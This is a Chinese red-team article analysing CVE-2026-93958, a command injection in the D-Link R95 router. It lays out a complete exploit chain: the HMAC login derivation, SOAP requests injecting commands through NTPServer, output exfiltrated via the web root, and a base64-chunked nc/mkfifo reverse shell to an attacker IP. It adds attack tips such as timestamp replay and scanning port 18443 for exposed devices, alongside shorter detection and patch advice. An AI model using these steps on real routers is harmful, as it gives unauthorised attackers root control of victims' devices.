文章总结: 本文分析D-LinkR95路由器CVE-2026-93958认证后命令注入漏洞,CVSS9.1,利用代码已公开。漏洞源于ssi二进制对NTPServer字段过滤不严,拼接进shell命令以root执行。文章详述认证机制、完整利用链及修复建议,并指出同固件存在7个同类注入点。建议用户限制管理口暴露、修改弱口令并关注厂商补丁。
综合评分: 88
文章分类: 漏洞分析,红队,实战经验
(9.1分) CVE-2026-93958:D-Link R95 路由器命令注入
红队安全圈
红队安全圈
红队安全圈
2026年9月20日 20:00
重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
D-Link 旗舰 Wi-Fi 7 路由器 R95 被挖出 CVSS 9.1 命令注入,利用代码已公开,注入成功直接拿 root——成因、认证机制、完整利用链一次拆透。
01 引言
D-Link 旗舰 Wi-Fi 7 路由器 R95(BE9500)的固件里被挖出一个认证后命令注入,编号 CVE-2026-93958,CVSS 9.1,利用代码已经公开。漏洞藏在 DHMAPI(SOAP over HTTPS)接口处理 SetTimeSettings 请求的 NTPServer 字段里——这个字段未做任何过滤就被拼进 shell 命令执行,注入成功直接拿 root。这篇把成因、认证机制、完整利用链和 EXP 全部拆给你看。
02 漏洞速览
漏洞编号CVE-2026-93958
影响产品D-Link R95(BE9500)
固件版本BE9500_1.00.16
漏洞类型OS 命令注入(CWE-77/78)
危害等级CVSS 9.1 严重
利用前提有效 web 管理会话
PoC 状态已公开(含完整 EXP)
影响面root 权限任意命令执行
03 漏洞成因
漏洞出在 web 管理后端二进制 /bin/ssi(以 root 运行),它实现了 DHMAPI SOAP 接口。
污染源:SetTimeSettings 处理函数(ssi 内偏移 0x6bd84)从 SOAP 请求中提取 NTPServer 字段存入栈缓冲区,长度上限 0x3f(63 字节)——注意这只是缓冲区大小限制,不是安全校验。值随后原样写入内部配置键 time.value.NTPServer,全程不过滤、不转义任何 shell 元字符。
污染汇:配置同步到 UCI 时,ssi 会把配置值拼接进 shell 命令字符串,通过 system() 类调用执行。二进制里能找到这样的格式串:
uci set %s=”%s” > /dev/null
值被包在双引号里,shell 在执行拼接命令前会对值里的反引号和 $() 做命令替换。ssi 以 root 跑,注入的命令自然也是 root 权限。
时间侧信道证实求值发生在请求处理路径内同步完成:注入 sleep 10 会让 HTTP 响应延迟约 10 秒。被污染的值还会持久化进 UCI(ntpclient.@ntpserver[0].hostname),之后被 /bin/start_ntpclient.sh 不加引号地消费(ntpclient -s -h $HOSTNAME),这是第二个加固缺口。
已验证的利用约束:
字段长度≤63 字节;60 过,80 拒(400)
& 字符不能出现(截断命令行)
注入语法反引号已验证;$() 同样有效
执行上下文uid=0(root) gid=0(root)
输出通道写 web 根目录再 HTTP GET 取回
04 认证机制(API-AUTH)
所有 DHMAPI 请求必须携带:Cookie: uid=会话cookie(登录获得);API-AUTH 头为 HMAC-SHA256(privkey, ts+action) 的大写十六进制值加时间戳 ts;API-ACTION / SOAPAction 头与 SOAP 动作匹配,还需 User-Agent 和 Referer(缺 UA 或 Referer 返回 HTTP 400/500)。ts 是毫秒时间戳,设备不校验时效性,固定值可复用。
privkey 的推导流程分五步:
-
用静态密钥串 withoutloginkey 签名,发 Login / Action=request,拿回 Challenge、Cookie、PublicKey、SaltHash。
-
e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32));无 SaltHash 时直接用明文密码。
-
privkey = 大写HEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))。
-
LoginPassword = 大写HEX(HMAC-SHA256(key = privkey, msg = Challenge))。
-
用上面材料发 Login / Action=login,返回 success 后,后续请求用 Cookie 签 privkey。
05 利用步骤
第一步,登录请求拿 Challenge/Cookie/PublicKey/SaltHash(关键头如下,请求体为 SOAP Login XML):
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
API-ACTION: Login
API-AUTH: HMAC(withoutloginkey,
ts+”Login”)
SOAPAction: “Login”
第二步,正式登录建立会话,LoginPassword 按上面第 4 步计算,期望返回 success。
第三步,注入命令,把输出写到 web 根目录:
API-ACTION: SetTimeSettings
id > /www/m\_id.txt
第四步,取回命令输出:
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
实测响应体:
uid=0(root) gid=0(root)
替代验证——时间盲注:NTPServer 填 sleep 10,HTTP 响应延迟约 10 秒;填正常 NTP 服务器名则立即返回。
完整利用——反弹 shell:63 字节限制可以用 base64 分片写脚本绕过:
- 反复发 SetTimeSettings,每次追加一片(包反引号):
echo -n <分片> >> /tmp/x
- 解码:
base64 -d /tmp/x > /tmp/rs.rs
- 脚本内容(busybox ash 下管道两边必须留空格):
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i |
nc 攻击机IP 4444 > /tmp/f
- 触发:
sh /tmp/rs.rs,攻击机监听即可收到交互式 root shell(~ #,BusyBox ash)。
06 PoC/EXP
公开仓库附了完整 EXP 脚本(Python,requests 实现),核心逻辑:login() 完成三步认证握手拿 privkey 和会话,inject() 把命令塞进 NTPServer 反引号里发出,run() 对 ≤54 字节的命令直接注入并从 web 根目录读回输出,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行。用法:python r95_exp.py 进交互 root shell,python r95_exp.py “id” 跑单条命令。
07 根因小结
-
ssi 把 NTPServer 字段(以及同一处理函数里的兄弟字段)零过滤写入配置库。
-
配置同步用 system() 风格的 shell 字符串拼接,值包在双引号里,shell 会求值反引号和 $()。
-
ssi 以 root 运行,注入命令直接满权限执行。
同一代码模式在该固件里至少还有 7 个认证后注入点(TZLocation、DeviceName、DDNS 的 Hostname/Username、客户端 NickName,以及经 SetNetworkSettings 的二阶注入),全部实测 uid=0(root) 执行。
08 检测与排查
有 R95/BE9500 设备的,先确认固件版本是否为 1.00.16 / 1.01B06 系列;再查 UCI 配置里 ntpclient 的 hostname 有没有异常值,以及 web 根目录 /www/ 下有没有不明文件(EXP 会把命令输出落在这里):
uci get ntpclient.@ntpserver
[0].hostname
ls /www/ | grep -v html
09 修复建议
-
主机名类输入字段入库前做强白名单校验(只放行 A-Za-z0-9.-)。
-
弃用 system() 字符串拼接,改用 libuci API(ssi 本来就链了这个库)或不经 shell 的 exec* 系调用。
-
/bin/start_ntpclient.sh 里给 $HOSTNAME 加引号。
-
web 管理服务降权运行。
-
审计并统一修复上面列出的兄弟注入点。
补丁方面,厂商目前还没有发布修复固件,建议尽快把设备的管理口收进内网、改掉弱口令,对外暴露的一律先断掉。
10 红队视角
这个洞的实战价值在三点。第一,认证后利用但不鸡肋——路由器弱口令和默认密码是现实网络里的常态,叠加设备认证逻辑里时间戳不校验、SaltHash 缺失时直接用明文密码这些宽松设计,打点成本很低。第二,输出通道教科书级:没有回显不可怕,写 web 根目录再 GET 就行,全双工交互。第三,一个注入点背后是一整类模式缺陷,同一固件 7 个兄弟注入点意味着即便厂商修了 NTPServer,也要盯紧后续版本有没有补全——挖这类设备时,找到一个 system() 拼接点就应该把所有 Set* 动作全枚举一遍。横向看,和之前一堆家用路由器 ssi/httpd 二进制里 config 值直接进 shell 的洞是同一个模子,固件分析时 grep uci set 加双引号格式串就能快速定位同类汇点。
11 实战技巧
-
固件分析阶段:binwalk 解包后直接 strings 找 uci set %s=”%s” 这类格式串,定位所有把用户输入拼进 shell 的汇点,比逆向每个 handler 快得多。
-
认证绕过优先级:遇到 API-AUTH/HMAC 签名类接口,先试文档里写死的静态密钥(本例 withoutloginkey),再测时间戳是否真的校验——很多厂商实现只验签名不验时效,重放窗口无限大。
-
63 字节限制别当死线:base64 分片写入 + 解码执行是嵌入式注入的通用绕法,busybox 环境记得 nc/mkfifo 组合弹 shell,管道两边留空格。
-
检测批量资产:nmap 扫 18443 端口(DHMAPI 监听口)可快速圈出暴露在公网的 R95 类设备。
12 POC 链接
https://github.com/FoundTL/D-Link-R95-BE9500
https://nvd.nist.gov/vuln/detail
/CVE-2026-93958
说明:PoC 来自公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500,复现环境为实验室设备,命令均为 root 权限执行,请仅在授权环境测试。
如果文章对您有收获,欢迎关注、点赞、推荐、转发。
— END —
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红队安全圈 红队安全圈
红队安全圈《(9.1分) CVE-2026-93958:D-Link R95 路由器命令注入》